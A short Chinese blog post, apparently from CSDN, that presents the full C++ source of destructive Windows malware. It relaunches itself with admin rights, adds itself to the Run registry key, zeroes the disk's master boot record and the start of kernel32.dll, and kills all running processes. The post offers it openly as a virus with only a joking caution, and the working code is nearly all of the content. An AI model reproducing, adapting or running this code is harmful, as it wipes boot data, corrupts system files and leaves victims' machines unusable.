用C++写的病毒(删除mbr)

#include <iostream>  
#include <cstdlib> 
#include <windows.h>
#include<bits/stdc++.h> 
#include<ctime>
#include <stdio.h>  
#include <string> 
#include <tchar.h>
#include <shellapi.h>
using namespace std;

void SetStartup()
{
	TCHAR path[MAX_PATH];
	GetModuleFileName(NULL, path, MAX_PATH);
	HKEY hKey;
	LONG result = RegOpenKeyEx(HKEY_CURRENT_USER,
	_T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"),
	0,
	KEY_SET_VALUE,
	&hKey);
	if (result == ERROR_SUCCESS) {
	RegSetValueEx(hKey, _T("MyStartupApp"), 0, REG_SZ,
	(const BYTE*)path, (lstrlen(path) + 1) * sizeof(TCHAR));
	RegCloseKey(hKey);
	} else {
	}
}
bool IsRunningAsAdmin()
{
    BOOL isAdmin = FALSE;
    PSID administratorsGroup = NULL;
    SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY;

    if (AllocateAndInitializeSid(&ntAuthority, 2,
        SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,
        0, 0, 0, 0, 0, 0,
        &administratorsGroup))
    {
        CheckTokenMembership(NULL, administratorsGroup, &isAdmin);
        FreeSid(administratorsGroup);
    }
    return isAdmin == TRUE;
}

void RestartAsAdmin()
{
    if (IsRunningAsAdmin())
    {
        return; // Already running as admin
    }

    TCHAR szFilePath[MAX_PATH];
    if (GetModuleFileName(NULL, szFilePath, MAX_PATH))
    {
        SHELLEXECUTEINFO sei = { sizeof(sei) };
        sei.lpVerb = TEXT("runas");
        sei.lpFile = szFilePath;
        sei.nShow = SW_SHOWNORMAL;
        if (!ShellExecuteEx(&sei))
        {
            // Handle error
        }
    }
}
VOID
DebugPriv(
	VOID
)
{
	HANDLE Token;
	UCHAR Buf[sizeof(TOKEN_PRIVILEGES) + sizeof(LUID_AND_ATTRIBUTES)];
	PTOKEN_PRIVILEGES Privs;
 
	if (OpenProcessToken(GetCurrentProcess(),
		MAXIMUM_ALLOWED,
		&Token)) {
		Privs = (PTOKEN_PRIVILEGES)Buf;
 
		Privs->PrivilegeCount = 1;
		Privs->Privileges[0].Luid.LowPart = 20L;
		Privs->Privileges[0].Luid.HighPart = 0;
		Privs->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
 
		AdjustTokenPrivileges(Token,
			FALSE,
			Privs,
			0,
			NULL,
			NULL);
 
		CloseHandle(Token);
	}
}
void kill_mbr()
{
	FILE* disk = fopen("\\\\.\\PHYSICALDRIVE0", "rb+");
	char mbr[512]={ 0 };
	fwrite(mbr, sizeof(mbr), 1, disk);
	fclose(disk);
}
void infect()
{
	FILE* infect_file = fopen("C:\\Windows\\SysWOW64\\kernel32.dll","rb+");
	char write[666] = { 0 };
	fwrite(write, sizeof(write), 1, infect_file);
	fclose(infect_file);
}
int main()
{
	RestartAsAdmin();
	SetStartup();
	infect();
	kill_mbr();
	system("taskkill /f /fi \"pid ne 1\"");
	return 0;
}

不要去整人,现在还在医院里(((

  • 6
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值